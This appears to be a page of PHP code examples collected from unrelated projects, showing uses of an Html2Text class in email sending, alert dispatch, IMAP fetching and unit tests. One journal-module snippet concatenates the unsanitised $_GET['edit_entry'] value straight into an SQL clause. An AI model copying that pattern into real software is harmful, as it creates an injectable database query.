                     $message = _JOURNAL_EMPTY_ENTRY_BODY;
                     eF_redirect($this->moduleBaseUrl . "&message=" . $message . "&message_type=failure" . $popup_);
                 }
                 if (isset($_GET['add_entry'])) {
                     if (eF_insertTableData("module_journal_entries", $fields)) {
                         if (isset($_SESSION['module_journal_autosave_entry'])) {
                             $this->deleteAutoSaveEntry();
                         }
                         $message = _JOURNAL_ENTRY_SUCCESSFULLY_ADDED;
                         eF_redirect($this->moduleBaseUrl . "&message=" . $message . "&message_type=success" . $popup_);
                     } else {
                         $message = _JOURNAL_ENTRY_ADD_PROBLEM;
                         eF_redirect($this->moduleBaseUrl . "&message=" . $message . "&message_type=failure" . $popup_);
                     }
                 } else {
                     if (eF_updateTableData("module_journal_entries", $fields, "id=" . $_GET['edit_entry'])) {
                         $message = _JOURNAL_ENTRY_SUCCESSFULLY_EDITED;
                         eF_redirect($this->moduleBaseUrl . "&message=" . $message . "&message_type=success" . $popup_);
                     } else {
                         $message = _JOURNAL_ENTRY_EDIT_PROBLEM;
                         eF_redirect($this->moduleBaseUrl . "&message=" . $message . "&message_type=failure" . $popup_);
                     }
                 }
             }
             $renderer = new HTML_QuickForm_Renderer_ArraySmarty($smarty);
             $form->setJsWarnings(_BEFOREJAVASCRIPTERROR, _AFTERJAVASCRIPTERROR);
             $form->setRequiredNote(_REQUIREDNOTE);
             $form->accept($renderer);
             $smarty->assign('T_JOURNAL_ADD_ENTRY_FORM', $renderer->toArray());
             if ($currentUser->getRole($this->getCurrentLesson()) == 'professor') {
                 $popupInfo[] = array('text' => _JOURNAL_POPUP_INFO, 'image' => $this->moduleBaseLink . 'images/info.png', 'href' => $this->moduleBaseUrl . '&popup_info=1&popup=1', 'onClick' => "eF_js_showDivPopup(event, '" . _JOURNAL_POPUP_INFO . "', 2)", 'target' => 'POPUP_FRAME', 'id' => 'popup_info');
                 $smarty->assign("T_JOURNAL_POPUP_INFO", $popupInfo);
             }
         }
     }
     if ($currentUser->getType() == 'administrator') {
         return $this->moduleBaseDir . "module_journal_admin.tpl";
     } else {
         if ($currentUser->getRole($this->getCurrentLesson()) == 'professor' || $currentUser->getRole($this->getCurrentLesson()) == 'student') {
             if (isset($_GET['hide_left']) && $_GET['hide_left'] == '1') {
                 return $this->moduleBaseDir . "module_journal_user_right.tpl";
             }
             if (isset($_GET['hide_right']) && $_GET['hide_right'] == '1') {
                 return $this->moduleBaseDir . "module_journal_user_left.tpl";
             }
             return $this->moduleBaseDir . "module_journal_user.tpl";
         }
     }
 }
示例#22
0
 public function index()
 {
     $settings = kohana::config('settings');
     $site_name = $settings['site_name'];
     $alerts_email = $settings['alerts_email'] ? $settings['alerts_email'] : $settings['site_email'];
     $unsubscribe_message = Kohana::lang('alerts.unsubscribe') . url::site() . 'alerts/unsubscribe/';
     $database_settings = kohana::config('database');
     //around line 33
     $this->table_prefix = $database_settings['default']['table_prefix'];
     //around line 34
     $settings = NULL;
     $sms_from = NULL;
     $db = new Database();
     /* Find All Alerts with the following parameters
     		- incident_active = 1 -- An approved incident
     		- incident_alert_status = 1 -- Incident has been tagged for sending
     		
     		Incident Alert Statuses
     		- 0, Incident has not been tagged for sending. Ensures old incidents are not sent out as alerts
     		- 1, Incident has been tagged for sending by updating it with 'approved' or 'verified'
     		- 2, Incident has been tagged as sent. No need to resend again
     		*/
     // HT: New Code
     // Fixes an issue with one report being sent out as an alert more than ones
     // becoming spam to users
     $incidents = $db->query("SELECT i.id, incident_title,\n\t\t\t\t\tincident_description, incident_verified,\n\t\t\t\t\tl.latitude, l.longitude FROM " . $this->table_prefix . "incident AS i INNER JOIN " . $this->table_prefix . "location AS l ON i.location_id = l.id\n\t\t\t\t\tWHERE i.incident_active=1 AND i.incident_alert_status = 1 ");
     // End of New Code
     foreach ($incidents as $incident) {
         // ** Pre-Formatting Message ** //
         // Convert HTML to Text
         $incident_description = $incident->incident_description;
         $incident_url = url::site() . 'reports/view/' . $incident->id;
         $incident_description = html::clean($incident_description);
         $html2text = new Html2Text($incident_description);
         $incident_description = $html2text->get_text();
         // EMAIL MESSAGE
         $email_message = $incident_description . "\n\n" . $incident_url;
         // SMS MESSAGE
         $sms_message = $incident_description;
         // Remove line breaks
         $sms_message = str_replace("\n", " ", $sms_message);
         // Shorten to text message size
         $sms_message = text::limit_chars($sms_message, 150, "...");
         $latitude = (double) $incident->latitude;
         $longitude = (double) $incident->longitude;
         // Find all the catecories including parents
         $category_ids = $this->_find_categories($incident->id);
         // HT: New Code
         $alert_sent = ORM::factory('alert_sent')->where('incident_id', $incident->id)->select_list('id', 'alert_id');
         $alertObj = ORM::factory('alert')->where('alert_confirmed', '1');
         if (!empty($alert_sent)) {
             $alertObj->notin('id', $alert_sent);
         }
         $alertees = $alertObj->find_all();
         // End of new code
         foreach ($alertees as $alertee) {
             // Check the categories
             if (!$this->_check_categories($alertee, $category_ids)) {
                 continue;
             }
             $alert_radius = (int) $alertee->alert_radius;
             $alert_type = (int) $alertee->alert_type;
             $latitude2 = (double) $alertee->alert_lat;
             $longitude2 = (double) $alertee->alert_lon;
             $distance = (string) new Distance($latitude, $longitude, $latitude2, $longitude2);
             // If the calculated distance between the incident and the alert fits...
             if ($distance <= $alert_radius) {
                 if ($alert_type == 1) {
                     // Get SMS Numbers
                     if (Kohana::config("settings.sms_no3")) {
                         $sms_from = Kohana::config("settings.sms_no3");
                     } elseif (Kohana::config("settings.sms_no2")) {
                         $sms_from = Kohana::config("settings.sms_no2");
                     } elseif (Kohana::config("settings.sms_no1")) {
                         $sms_from = Kohana::config("settings.sms_no1");
                     } else {
                         $sms_from = "12053705050";
                     }
                     // Admin needs to set up an SMS number
                     if ($response = sms::send($alertee->alert_recipient, $sms_from, $sms_message) === true) {
                         $alert = ORM::factory('alert_sent');
                         $alert->alert_id = $alertee->id;
                         $alert->incident_id = $incident->id;
                         $alert->alert_date = date("Y-m-d H:i:s");
                         $alert->save();
                     } else {
                         // The gateway couldn't send for some reason
                         // in future we'll keep a record of this
                     }
                 } elseif ($alert_type == 2) {
                     $to = $alertee->alert_recipient;
                     $from = array();
                     $from[] = $alerts_email;
                     $from[] = $site_name;
                     $subject = "[{$site_name}] " . $incident->incident_title;
                     $message = $email_message . "\n\n" . $unsubscribe_message . $alertee->alert_code . "\n";
                     //if (email::send($to, $from, $subject, $message, FALSE) == 1)
                     if (email::send($to, $from, $subject, $message, TRUE) == 1) {
                         $alert = ORM::factory('alert_sent');
                         $alert->alert_id = $alertee->id;
                         $alert->incident_id = $incident->id;
                         $alert->alert_date = date("Y-m-d H:i:s");
                         $alert->save();
                     }
                 }
             }
         }
         // End For Each Loop
         // Update Incident - All Alerts Have Been Sent!
         $update_incident = ORM::factory('incident', $incident->id);
         if ($update_incident->loaded) {
             $update_incident->incident_alert_status = 2;
             $update_incident->save();
         }
     }
 }
示例#23
0
    public function testBaseUrlWithPlaceholder()
    {
        $html = '<a href="/relative">Link text</a>';
        $expected = 'Link text [%baseurl%/relative]';

        $html2text = new Html2Text($html, array('do_links' => 'inline'));
        $html2text->setBaseUrl('%baseurl%');

        $this->assertEquals($expected, $html2text->getText());
    }
示例#24
0
 public function testShowAltText()
 {
     $html = new Html2Text('<img id="head" class="header" src="imgs/logo.png" alt="This is our cool logo" />');
     $this->assertEquals('image: "This is our cool logo"', $html->getText());
 }
示例#25
0
<?php

// Example: html2text
// Converts HTML to formatted ASCII text.
// Run with: php < ex_html2text.php
include "html2text.inc";
$htmlText = "Html2text is a tool that allows you to<br>" . "convert HTML to text.<p>" . "Does it work?";
$htmlToText = new Html2Text($htmlText, 15);
$text = $htmlToText->convert();
echo "Conversion follows:\r\n";
echo "-------------------\r\n";
echo $text;
示例#26
0
 }
 while ($cc_address = array_shift($mail_cc_array)) {
     $mail->AddCC($cc_address);
     if ($add_reciever_ab) {
         add_unknown_reciepent($cc_address, $add_reciever_ab);
     }
 }
 while ($bcc_address = array_shift($mail_bcc_array)) {
     $mail->AddBCC($bcc_address);
     if ($add_reciever_ab) {
         add_unknown_reciepent($bcc_address, $add_reciever_ab);
     }
 }
 if ($html_message) {
     $mail->Body = $html_mail_head . $mail_body . $html_mail_foot;
     $htmlToText = new Html2Text($mail_body);
     $mail->AltBody = $htmlToText->get_text();
 } else {
     $mail->Body = $mail_body;
 }
 if (!$mail->Send()) {
     $feedback = '<p class="Error">' . $ml_send_error . ' ' . $mail->ErrorInfo . '</p>';
 } else {
     //set Line enidng to \r\n for Cyrus IMAP
     $mail->LE = "\r\n";
     $mime = $mail->GetMime();
     if (isset($_SESSION['attach_array'])) {
         while ($attachment = array_shift($_SESSION['attach_array'])) {
             @unlink($attachment->tmp_file);
         }
     }
示例#27
0
 /**
  * Send an email message.
  *
  * @param   string|array  recipient email (and name), or an array of To, Cc, Bcc names
  * @param   string|array  sender email (and name)
  * @param   string        message subject
  * @param   string        message body
  * @param   boolean       send email as HTML
  * @return  integer       number of emails sent
  */
 public static function send($to, $from, $subject, $content, $html = FALSE)
 {
     // Connect to SwiftMailer
     email::$mail === NULL and email::connect();
     // Determine the message type
     $header_type = $html === TRUE ? 'text/html' : 'text/plain';
     // Create the message
     $message = new Swift_Message($subject, $content, $header_type, '8bit', 'utf-8');
     if ($html === TRUE) {
         $html2text = new Html2Text($content);
         $message->attach(new Swift_Message_Part($html2text->get_text(), 'text/plain'));
     }
     if (is_string($to)) {
         // Single recipient
         $recipients = new Swift_Address($to);
     } elseif (is_array($to)) {
         if (isset($to[0]) and isset($to[1])) {
             // Create To: address set
             $to = array('to' => $to);
         }
         // Create a list of recipients
         $recipients = new Swift_RecipientList();
         foreach ($to as $method => $set) {
             if (!in_array($method, array('to', 'cc', 'bcc'))) {
                 // Use To: by default
                 $method = 'to';
             }
             // Create method name
             $method = 'add' . ucfirst($method);
             if (is_array($set)) {
                 // Add a recipient with name
                 $recipients->{$method}($set[0], $set[1]);
             } else {
                 // Add a recipient without name
                 $recipients->{$method}($set);
             }
         }
     }
     if (is_string($from)) {
         // From without a name
         $from = new Swift_Address($from);
     } elseif (is_array($from)) {
         // From with a name
         $from = new Swift_Address($from[0], $from[1]);
     }
     return email::$mail->send($message, $recipients, $from);
 }
示例#28
0
     // => Welcome to Etelegate, tech
     $emailInfo['et_htmlformat'] = $txtBody;
     // => html
     foreach ($show_val as $key => $data) {
         if (!$data) {
             $data = "N/A";
         }
         $emailInfo['et_subject'] = str_replace("[" . $key . "]", $data, $emailInfo['et_subject']);
         $emailInfo['et_htmlformat'] = str_replace("[" . $key . "]", $data, $emailInfo['et_htmlformat']);
     }
     $emailInfo['et_from'] = $fromaddress;
     // => sales@etelegate.com
     $emailInfo['et_from_title'] = $fromaddress;
     // => Etelegate Sales
     $emailInfo['et_htmlformat'] = stripslashes($emailInfo['et_htmlformat']);
     $Html2Text = new Html2Text($emailInfo['et_htmlformat'], 900000);
     // 900 columns maximum
     $emailInfo['et_textformat'] = $Html2Text->convert();
     $emailInfo['et_textformat'] = str_replace("&nbsp;", " ", $emailInfo['et_textformat']);
     $emailInfo['et_to'] = $to_id;
     // => techsupport@ecommerceglobal.com
     $emailInfo['full_name'] = $to_id;
     // => Etelegate Merchant )
     if (!send_email_data($emailInfo, $attachments)) {
         $mails_sentid .= "'" . $to_id . "' could not be sent. No mail sent to {$company_name}.<br>";
     } else {
         $mails_sentid .= $to_id . "<br>";
         $mails_sent_num++;
     }
 } else {
     $mails_sentid .= "'" . $to_id . "' is unsubscribed. No mail sent to {$company_name}.<br>";
示例#29
0
 /**
  * Get messages according to a search criteria
  *
  * @param	string	search criteria (RFC2060, sec. 6.4.4). Set to "UNSEEN" by default
  *					NB: Search criteria only affects IMAP mailboxes.
  * @param	string	date format. Set to "Y-m-d H:i:s" by default
  * @return	mixed	array containing messages
  */
 public function get_messages($search_criteria = "UNSEEN", $date_format = "Y-m-d H:i:s")
 {
     global $htmlmsg, $plainmsg, $attachments;
     // If our imap connection failed earlier, return no messages
     if ($this->imap_stream == false) {
         return array();
     }
     $no_of_msgs = imap_num_msg($this->imap_stream);
     $max_imap_messages = Kohana::config('email.max_imap_messages');
     // Check to see if the number of messages we want to sort through is greater than
     //   the number of messages we want to allow. If there are too many messages, it
     //   can fail and that's no good.
     $msg_to_pull = $no_of_msgs;
     //** Disabled this config setting for now - causing issues **
     //if($msg_to_pull > $max_imap_messages){
     //	$msg_to_pull = $max_imap_messages;
     //}
     $messages = array();
     for ($msgno = 1; $msgno <= $msg_to_pull; $msgno++) {
         $header = imap_headerinfo($this->imap_stream, $msgno);
         if (!isset($header->message_id) or !isset($header->udate)) {
             continue;
         }
         $message_id = $header->message_id;
         $date = date($date_format, $header->udate);
         if (isset($header->from)) {
             $from = $header->from;
         } else {
             $from = FALSE;
         }
         $fromname = "";
         $fromaddress = "";
         $subject = "";
         $body = "";
         $attachments = "";
         if ($from != FALSE) {
             foreach ($from as $id => $object) {
                 if (isset($object->personal)) {
                     $fromname = $object->personal;
                 }
                 if (isset($object->mailbox) and isset($object->host)) {
                     $fromaddress = $object->mailbox . "@" . $object->host;
                 }
                 if ($fromname == "") {
                     // In case from object doesn't have Name
                     $fromname = $fromaddress;
                 }
             }
         }
         if (isset($header->subject)) {
             $subject = $this->_mime_decode($header->subject);
         }
         // Fetch Body
         $this->_getmsg($this->imap_stream, $msgno);
         if ($htmlmsg) {
             // Convert HTML to Text
             $html2text = new Html2Text($htmlmsg);
             $htmlmsg = $html2text->get_text();
         }
         $body = $plainmsg ? $plainmsg : $htmlmsg;
         // Fetch Attachments
         $attachments = $this->_extract_attachments($this->imap_stream, $msgno);
         // Convert to valid UTF8
         $body = htmlentities($body);
         $subject = htmlentities(strip_tags($subject));
         array_push($messages, array('message_id' => $message_id, 'date' => $date, 'from' => $fromname, 'email' => $fromaddress, 'subject' => $subject, 'body' => $body, 'attachments' => $attachments));
         // Mark Message As Read
         imap_setflag_full($this->imap_stream, $msgno, "\\Seen");
     }
     return $messages;
 }
示例#30
0
 /**
  * Email sending wrapper
  */
 public static function send_email($to, $subject, $html, $plain = null, $headers = array())
 {
     //Validate arguments
     $html = str_replace(array('\\n\\r', '\\r\\n', '\\n', '\\r'), '<br/>', $html);
     if (empty($to) || empty($subject) || (empty($html) && empty($plain) || !is_array($headers))) {
         error_log("attempted to send an empty or misconfigured message");
         return false;
     }
     $nameAndAddressRegex = '/(.*)<(.*)>/';
     $toIncludesNameAndAddress = preg_match($nameAndAddressRegex, $to, $toDetails);
     if ($toIncludesNameAndAddress) {
         $toName = $toDetails[1];
         $toAddress = $toDetails[2];
     } else {
         $toName = $to;
         $toAddress = $to;
     }
     // If no 'From' address specified, use default
     if (empty($headers['From'])) {
         $fromName = DEFAULT_SENDER_NAME;
         $fromAddress = DEFAULT_SENDER;
     } else {
         $fromIncludesNameAndAddress = preg_match($nameAndAddressRegex, $headers['From'], $fromDetails);
         if ($fromIncludesNameAndAddress) {
             $fromName = str_replace('"', '', $fromDetails[1]);
             $fromAddress = str_replace(' ', '-', $fromDetails[2]);
         } else {
             $fromName = $headers['From'];
             $fromAddress = str_replace(' ', '-', $headers['From']);
         }
     }
     if (!empty($html)) {
         if (empty($plain)) {
             $h2t = new Html2Text(html_entity_decode($html, ENT_QUOTES), 75);
             $plain = $h2t->convert();
         }
     } else {
         if (empty($plain)) {
             // if both HTML & Plain bodies are empty, don't send mail
             return false;
         }
     }
     $curl = new CURLHandler();
     $postArray = array('from' => $fromAddress, 'fromname' => $fromName, 'to' => $toAddress, 'toname' => $toName, 'subject' => $subject, 'html' => $html, 'text' => $plain, 'api_user' => SENDGRID_API_USER, 'api_key' => SENDGRID_API_KEY);
     if (!empty($headers['Reply-To'])) {
         $replyToIncludesNameAndAddress = preg_match($nameAndAddressRegex, $headers['Reply-To'], $replyToDetails);
         if ($replyToIncludesNameAndAddress) {
             $postArray['replyto'] = str_replace(' ', '-', $replyToDetails[2]);
         } else {
             $postArray['replyto'] = $headers['Reply-To'];
         }
     }
     // check for copy, using bcc since cc is not present in Sendgrid api
     if (!empty($headers['Cc'])) {
         $ccIncludesNameAndAddress = preg_match($nameAndAddressRegex, $headers['Cc'], $ccDetails);
         if ($ccIncludesNameAndAddress) {
             $postArray['bcc'] = str_replace(' ', '-', $ccDetails[2]);
         } else {
             $postArray['bcc'] = $headers['Cc'];
         }
     }
     try {
         $result = json_decode(CURLHandler::Post(SENDGRID_API_URL, $postArray));
         if ($result->message == 'error') {
             throw new Exception(implode('; ', $result->errors));
         }
     } catch (Exception $e) {
         error_log("[ERROR] Unable to send message through SendGrid API - Exception: " . $e->getMessage());
         return false;
     }
     return true;
 }